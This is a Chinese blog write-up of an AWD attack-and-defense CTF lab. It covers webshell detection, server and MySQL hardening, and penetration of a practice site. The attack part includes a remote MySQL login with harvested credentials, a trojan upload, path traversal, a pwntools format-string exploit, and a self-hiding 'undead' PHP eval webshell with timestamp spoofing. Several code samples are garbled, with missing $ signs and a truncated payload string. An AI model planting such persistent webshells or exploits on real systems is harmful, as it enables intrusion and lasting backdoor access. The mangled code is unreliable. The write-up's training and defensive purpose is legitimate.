基于AWD攻防对Web漏洞的研究

写在前面

Copyright © [2023] [Myon⁶]. All rights reserved.

基于awd攻防环境和xshell远程连接,配合kali linux渗透系统、蚁剑、D盾、河马、Seay代码审计系统等,演示现实中网站可能存在的漏洞,对网站进行漏洞扫描,渗透测试,包括SQL注入、文件上传、任意文件读取、Mysql远程连接、Redis未授权访问漏、PWN二进制漏洞等,以获取目标shell,并对网站漏洞进行修复与加固,总结防御措施,增强网络安全意识。

本人CSDN博客地址:http://myon6.blog.csdn.net

期待大家的关注与支持!

目录

一、背景介绍

1、AWD赛制

2、Web安全

3、网络空间安全

二、大致流程

三、详细过程

1、xshell连接与html目录下载

2、Webshell后门文件查杀与Seay代码审计系统

3、漏洞修复与系统加固

(1)后门文件查杀

(2)加固用户名密码(用户层)

(3)加固SQL数据库(服务层)

(4)改网站后台密码

4、对网站进行渗透测试

(1)mysql数据库远程连接

(2)文件上传漏洞

(3)任意文件读取漏洞

(4)Redis未授权访问漏洞

(5)pwn二进制漏洞

5、基于条件竞争对不死马的研究

四、结果分析

五、体会与总结


一、背景介绍

1、AWD赛制

AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。

2、Web安全

随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。

3、网络空间安全

党的十八大以来,我国网络安全和信息化事业取得重大成就,党对网信工作的领导全面加强,网络空间主流思想舆论巩固壮大,网络综合治理体系基本建成,网络安全保障体系和能力持续提升,网信领域科技自立自强步伐加快,信息化驱动引领作用有效发挥,网络空间法治化程度不断提高,网络空间国际话语权和影响力明显增强,网络强国建设迈出新步伐。

二、大致流程

1、基于Bugku的awd攻防环境,使用xshell与服务器建立远程连接,熟悉awd的基本流程。

2、压缩打包var/www/html目录下的所有文件,使用D盾、河马等查杀工具进行webshell后门文件查杀,配合seay系统进行代码审计。

3、对网站进行漏洞修复与系统加固,包括加固用户名密码,加固SQL数据库,以及可能存在的弱口令与内核溢出提权。

4、对网站进行渗透测试,包括SQL注入、文件上传、任意文件读取、Mysql远程连接、Redis未授权访问漏、PWN二进制漏洞等。

5、基于条件竞争,研究对不死马(内存马)进行写入利用,shell获取,以及针对不死马的防御处理手段。

三、详细过程

1、xshell连接与html目录下载

拿到账号密码后使用xshell连接,输入主机IP和端口号:

进行用户身份验证,输入给的用户名和密码

连接成功后,切换到html目录

将var/www下的html目录下载下来 (可以使用命令打包,也可以使用xftp传输)

2、Webshell后门文件查杀与Seay代码审计系统

将目录扔给D盾和河马进行扫描查杀:

使用seay进行代码审计:

3、漏洞修复与系统加固

(1)后门文件查杀

查看一下前面扫描到的后门文件 config.php

分析:

`$poc` 变量包含了字符串 "a#s#s#e#r#t";使用 `explode("#", poc)\` 函数将字符串分割成数组 \`poc_1`,每个元素都是 "a"、"s"、"s"、"e"、"r"、"t";

然后,将数组 `poc_1\` 的元素连接起来,形成字符串 \`poc_2`,其值为 "assert";最后,代码执行了 `poc_2(_GET['s'])`,它将执行用户通过 GET 请求传递的参数 's' 对应的值,作为 PHP 代码来执行;我们只需要控制 's' 参数的值,便可以在服务器上执行任意的 PHP 代码,这种代码结构常被称为 "PHP代码注入",因为它允许我们注入恶意代码,直接删掉该文件。

(2)加固用户名密码(用户层)

修改linux用户密码

使用命令

Passwd

输入之后根据提示修改密码即可

删除其他可登录用户

使用命令查看/etc/passwd 文件

cat /etc/passwd

第一个字段显示用户名,第二个字段显示密码状态,如果是 x,则表示密码存储在 /etc/shadow 文件中,第三个字段显示用户 ID,第四个字段显示组 ID;

后面字段依次显示:存储用户信息、主目录的路径、用户的 shell

这里我们配合grep命令查询可登录用户:

cat /etc/passwd |grep bash #有bash表示用户可以登录

我这里只是以自己服务器为例做演示,实际比赛环境肯定不止有root一个可登录用户,并且比赛给我们的账号密码是一个低权限用户,用于访问服务器,一般为非root权限。

如果有权限就删除用户:

userdel -r 用户名

(3)加固SQL数据库(服务层)

进入mysql数据库:mysql -uroot -proot

修改mysql数据库远程连接的密码:

update mysql.user set password=password('新密码') where user='root';

#password为加密方式,不以明文存储,也可以使用md5('新密码')

一定注意:

MySQL 5.7.6版本以下,才能使用此方法来修改密码,从MySQL 5.7.6版本起,user表使用authentication_string列代替之前版本中的password列来存储密码,并且它删除了password列。

我们使用最新的列名进行修改:update mysql.user set authentication_string=password('新密码') where user='用户名';

先查一下它原本的信息(登录IP,用户名,密码)

select host,user,authentication_string from mysql.user;

而那个密码并不在cms库,而是在mysql数据库下的user表

修改cms的密码,假设改为111111:

update mysql.user set authentication_string=password('111111') where user='cms';

修改成功后记得刷新配置

删除匿名用户

注意:默认会存在匿名用户登录(user为空的用户),我们需要删掉它:

delete from mysql.user where user='';

完成之后我们刷新设置:flush privileges;

(4)改网站后台密码

从网站页面或者源码或者目录扫描工具找到后台页面,然后尝试弱口令登入后改管理员密码。

也可以在数据库里面直接修改:

4、对网站进行渗透测试

(1)mysql数据库远程连接

从网站页面入手

是一个登录界面,尝试一些弱口令登录,发现不行

找到登录界面的文件login.php,检索一些关键字(password、email)

这里并没有发现什么有用信息,继续去找和这个文件相关的文件,容易发现它还包含了两个文件:

经过查看head.php和connect.php,最终在后者发现了数据库远程连接的账号密码:

$username = "cms";

$password = "eb0d39d2931c480f";

使用命令进行mysql远程连接

mysql -h47.104.192.166 -P3306 -ucms -peb0d39d2931c480f

连上之后我们查它的数据库和表,最后在cms库下的users表里发现了页面的登录邮箱和密码:

admin@bugku.com

21232f297a57a5a743894a0e4a801fc3

这里密码进行了加密,解md5得到密码为 admin

在cms库下有一个flag表,我们尝试查它的具体内容,并没有flag

先去登录网站页面

(2)文件上传漏洞

进去之后很容易发现存在文件上传漏洞

我先上传的是普通一句话木马,成了,没有任何绕过

上传成功后直接上蚁剑

(3)任意文件读取漏洞

<?php

error_reporting(0);

// 接受 GET 方式传递过来的 file 值

$f_name = $_GET['src'];

file_path = "../resources/".f_name;

if(file_exists($file_path)) {

header('Content-Type: application/octet-stream');

header('Content-Disposition: attachment; filename="'.basename($file_path).'"');

header('Expires: 0');

header('Cache-Control: must-revalidate');

header('Pragma: public');

header('Content-Length: ' . filesize($file_path));

flush();

readfile($file_path);

die();

} else {

http_response_code(404);

}

?>

代码分析:

  1. `error_reporting(0);` 语句用于关闭PHP错误报告,这意味着在运行时不会显示任何PHP错误或警告。

  2. 通过 `$_GET['src']` 获取名为 'src' 的GET参数的值,该值应该是要下载的文件名。

  3. 构建文件路径 `$file_path`,将 "../resources/" 与 GET 参数 'src' 的值连接起来,形成完整的文件路径。

  4. 使用 `file_exists($file_path)` 检查文件是否存在。如果文件存在,继续执行下面的代码块。

  5. 设置一系列HTTP响应头,以指定下载文件的各种属性,如文件类型、文件名、缓存控制等。

  6. 使用 `readfile($file_path)` 输出文件内容,将文件发送到浏览器进行下载。

  7. `die()` 语句用于终止PHP脚本的执行,确保只返回文件内容,而不会继续执行其他代码。

  8. 如果文件不存在,使用 `http_response_code(404)` 设置HTTP响应代码为404(文件未找到。

允许用户通过GET请求下载服务器上的文件,如果文件存在的话,脚本word.php位于api目录下,以get的方式请求参数src,我们知道flag是在根目录下面,这里可以使用 ../ (访问上一级目录)来实现目录遍历攻击。

(4)Redis未授权访问漏洞

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

(5)pwn二进制漏洞

这里直接上exp攻击脚本:

from pwn import *

context.terminal = ['termite', '-e']

#p = gdb.debug('./easy_string_format', gdbscript='b *main+125\nc')

p = process('./echoasaservice')

p.recvline()

payload = bytearray()

payload += "%8lx.%9lx.%10$lx".encode()

p.sendline(payload)

flag = p.recvline().decode('utf-8').rstrip()

split = flag.split('.')

endian = "".join(["".join(reversed([j[i:i+2] for i in range(0, len(j), 2)])) for j in split])

print(bytearray.fromhex(endian).decode())

5、基于条件竞争对不死马的研究

这里以PHP不死马为例

测试代码:

<?php

ignore_user_abort(true);

set_time_limit(0);

unlink(FILE);

$file = '.test.php';

code = '\_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';

while (1){

file_put_contents(file,code);

system('touch -m -d "2018-12-01 09:10:12" .test.php');

usleep(5000);

}

?>

上面代码即为最简单的不死马,其目的是创建一个名为".test.php"的PHP文件,该文件包含一个带有密码验证的后门,允许执行任意PHP代码。

关于代码的详细解释:

ignore_user_abort(true);

设置PHP脚本忽略用户中止连接,即使用户在浏览器中停止加载页面,脚本仍然会继续执行。

set_time_limit(0);

设置脚本执行时间限制为0,意味着脚本可以无限期地运行,不会被PHP的执行时间限制所中断。

unlink(FILE);

删除当前正在执行的PHP脚本文件,这是一种尝试隐藏脚本的行为,以防止被发现。

$file = '.test.php';

定义一个变量$file,它包含了要写入的文件名,即".test.php"。

文件最前面带上.就会变成隐藏文件

code='\_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';

定义一个变量$code,其中包含了PHP代码。这段代码首先检查通过GET请求传递的"pass"参数的MD5哈希值是否等于"098f6bcd4621d373cade4e832627b4f6",如果验证成功,它会尝试执行通过POST请求传递的名为"test"的PHP代码。

while (1){...}

这是一个无限循环,它将不断执行以下操作:

file_put_contents($file, $code);

将上述定义的code写入文件file,也就是".test.php",以便不断更新文件内容。

system('touch -m -d "2018-12-01 09:10:12" .test.php'); -

使用system函数,它会执行系统命令touch,以修改".test.php"文件的修改时间为"2018-12-01 09:10:12",这样可以欺骗文件的最后修改时间,以防止检测。

usleep(5000);

等待5毫秒后继续循环,这个睡眠操作是为了降低脚本的资源消耗,避免被系统检测到异常行为。

其中 098f6bcd4621d373cade4e832627b4f6 是加密后的md5值,之所以要进行加密是防止我们的木马被其他队伍利用,这里只是为了测试,加密前内容为test

上传该PHP文件后进行访问

访问后会在该路径下循环生成名字为 .test.php 的不死马隐藏文件

使用蚁剑或者菜刀连接生成的webshell:

http://文件所在路径/.test.php?pass=test

连接密码:test

尝试删除该文件,你会发现无法删除,这就是不死马,因为它已经写入了进程。

使用ls和ll这种命令根本查找不到它,在前面代码我们说了,它会进行自动删除,只有查看新增文件才能发现它:

find ./ -cmin -30 #查看30分钟内创建的文件

处理方法:

1、写入同名文件克制不死马

测试代码:

<?php

ignore_user_abort(true);

set_time_limit(0);

unlink(FILE);

$file = '.test.php';

$code = 'come on!';

while (1){

file_put_contents(file,code);

system('touch -m -d "2018-12-01 09:10:12" .test.php');

usleep(1000);

}

?>

注意:usleep的时间一定要比不死马小,$code修改为无害内容即可

假设文件命名为killshell.php,上传该文件并访问它

注意:一定要先去访问它一遍才能触发写入文件

再次尝试连接webshell发现已经连不上了,返回数据为空

在服务器查看webshell的内容

可以看到,内容不再是一句话木马,而变成了我们后面写入的无害内容

2、使用条件竞争查杀不死马

测试代码:

这是一个bash脚本

#!/bin/bash

while true

do

#kill -9 进程ID

rm -rf .test.php

done

如果能查到不死马的进程ID也可以kill命令和rm命令同时进行

使用命令 top | grep httpd 进行查询或者ps aux列出所有进程,找到要查杀的进程,新建查杀脚本:vim rmshell.sh

添加最高权限:chmod 777 rmshell.sh

在后台不断运行该脚本:nohup ./rmshell.sh &

再次查看不死马,发现已经不存在了

四、结果分析

1、通过压缩打包var/www/html目录下的所有文件,使用D盾、河马等查杀工具进行webshell后门文件查杀,配合seay系统进行代码审计,找到了存在的webshell后面文件并成功清理,加固了自己的网站和数据库密码。

2、基于扫描到和存在的漏洞进行渗透测试,成功修改掉数据库管理员密码,登录网站后台并且拿下网站后台权限。

3、成功在测试网站种下不死马,这样可以实现持续长久的维持后门权限。

基于条件竞争自己编写脚本,成功处理掉了不死马。

五、体会与总结

1、威胁感知与应对:通过实施AWD(Attack and Defense)攻防对Web漏洞的研究,我们深刻了解了攻击者的思维方式和策略,这有助于提高对潜在威胁的感知和应对能力。我们学会了从攻击者的角度审视Web应用程序,以更好地保护它们免受恶意入侵。

2、弱点的深入了解:研究过程中,我们不仅发现了常见的Web漏洞类型,还深入了解了它们的工作原理和利用方法。这有助于我们更好地理解弱点的本质,从而能够更好地修复和防范这些漏洞,提高Web应用程序的安全性。

3、持续改进的必要性:AWD攻防研究不仅揭示了Web漏洞的存在,还强调了安全性是一个持续改进的过程。我们必须不断更新和改进我们的防御策略,以适应不断演变的威胁和攻击技巧。这项研究强调了安全团队需要保持警惕,不断学习和提高,以确保Web应用程序的持续安全。

注:Copyright © [2023] [Myon⁶]. All rights reserved.

相关推荐
NiNg_1_23411 分钟前
npm、yarn、pnpm之间的区别
前端·npm·node.js
秋殇与星河14 分钟前
CSS总结
前端·css
engineer-gxd29 分钟前
MySQL 表的操作
mysql
cyt涛35 分钟前
MyBatis 学习总结
数据库·sql·学习·mysql·mybatis·jdbc·lombok
BigYe程普36 分钟前
我开发了一个出海全栈SaaS工具,还写了一套全栈开发教程
开发语言·前端·chrome·chatgpt·reactjs·个人开发
余生H1 小时前
前端的全栈混合之路Meteor篇:关于前后端分离及与各框架的对比
前端·javascript·node.js·全栈
程序员-珍1 小时前
使用openapi生成前端请求文件报错 ‘Token “Integer“ does not exist.‘
java·前端·spring boot·后端·restful·个人开发
guanyue.space1 小时前
网站可疑问题
web安全
axihaihai1 小时前
网站开发的发展(后端路由/前后端分离/前端路由)
前端
流烟默1 小时前
Vue中watch监听属性的一些应用总结
前端·javascript·vue.js·watch